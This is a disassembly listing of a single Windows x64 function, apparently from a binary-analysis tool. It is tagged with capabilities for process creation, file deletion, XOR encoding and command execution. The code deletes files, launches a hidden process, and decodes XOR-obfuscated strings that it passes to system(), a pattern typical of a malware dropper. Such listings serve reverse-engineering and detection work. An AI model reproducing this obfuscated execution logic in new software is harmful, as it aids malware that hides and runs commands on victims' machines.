Function at 0x140041c90
Capabilities:
Create process on windows
Delete file
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x8c8]
sub rsp, 0x9c0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140110040]
xor rax, rsp
mov qword [rbp + 0x8a0], rax
xor edi, edi
movups xmm0, xmmword [str.HJZUeENK9]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x140103548]
mov dword [rsp + 0x60], eax
mov ebx, 0x4e
cmp word [0x14010354a], di
je 0x140041d20
mov word [rsp + 0x50], bx
xor word [rsp + 0x52], 0x31
xor word [rsp + 0x54], 0x32
xor word [rsp + 0x56], 0x33
xor word [rsp + 0x58], 0x34
xor word [rsp + 0x5a], 0x35
xor word [rsp + 0x5c], 0x36
xor word [rsp + 0x5e], 0x37
xor word [rsp + 0x60], 0x38
xor word [rsp + 0x62], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rdi
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], di
jne 0x140041d40
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.14008e670
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x50]
call fcn.140041540
nop
movups xmm0, xmmword [str.HJZUeSO_9]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x140103838]
mov dword [rsp + 0x60], eax
cmp word [0x14010383a], 0
je 0x140041dc1
mov word [rsp + 0x50], bx
xor word [rsp + 0x52], 0x31
xor word [rsp + 0x54], 0x32
xor word [rsp + 0x56], 0x33
xor word [rsp + 0x58], 0x34
xor word [rsp + 0x5a], 0x35
xor word [rsp + 0x5c], 0x36
xor word [rsp + 0x5e], 0x37
xor word [rsp + 0x60], 0x38
xor word [rsp + 0x62], 0x39
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140041de0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.14008e670
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.140041540
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x10]
call fcn.14008baa0
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x70]
call fcn.14008baa0
mov rcx, rax
call fcn.140041b00
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x70]
call fcn.14008baa0
mov rcx, rax
call fcn.1400417e0
mov eax, dword [0x1401034a4]
mov dword [rsp + 0x50], eax
cmp word [0x1401034a6], 0
je 0x140041e8f
mov eax, 0x20
mov word [rsp + 0x50], ax
xor word [rsp + 0x52], 0x31
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x70]
call fcn.14008c9f0
nop
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
mov rcx, rax
call fcn.14008ba20
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140041f2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041f29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400906f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
movups xmmword [rbp + 0x64], xmm0
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
mov dword [rbp + 0x94], eax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp + 0x30], 0x68
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov edx, 0x400
mov r9, 0xffffffffffffffff
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov word [rbp + 0x89e], di
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140041fda
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140041fe9
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x140041ff8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x140042007
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x1401014a8]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1401014b8]
movups xmmword [rbp - 0x80], xmm1
movzx eax, word [0x1401014c8]
mov word [rbp - 0x70], ax
mov r8d, edi
movdqa xmm6, xmmword [0x140103fe0]
mov ebx, dword [0x140110090]
cmp ebx, 2
jl 0x140042161
movdqa xmm4, xmmword [0x140103fa0]
movdqa xmm3, xmmword [0x140104360]
movdqa xmm5, xmmword [0x140103fc0]
movdqa xmm0, xmmword [0x140104000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140042072
cmp r8d, 0x22
jge 0x1400421a3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140042170
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140103480]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140103490]
movups xmmword [rbp - 0x80], xmm1
movzx eax, word [0x1401034a0]
mov word [rbp - 0x70], ax
mov ecx, edi
cmp ebx, 2
jl 0x1400422fc
movdqa xmm4, xmmword [0x140103fa0]
movdqa xmm3, xmmword [0x140104360]
movdqa xmm5, xmmword [0x140103fc0]
movdqa xmm0, xmmword [0x140104000]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x74]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140042210
cmp ecx, 0x22
jge 0x14004233e
movsxd rax, ecx
lea r8, [rsp + 0x70]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x22
jl 0x140042310
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14004238c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042387
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042387
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400906f0
movdqa xmm0, xmmword [0x140103f30]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x1400423e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400423db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400423db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400906f0
movdqa xmm0, xmmword [0x140103f30]
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140042433
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042426
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400906f0
movdqa xmm0, xmmword [0x140103f30]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], di
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14004247f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004247a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004247a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400906f0
mov rcx, qword [rbp + 0x8a0]
xor rcx, rsp
call fcn.140090680
lea r11, [rsp + 0x9c0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret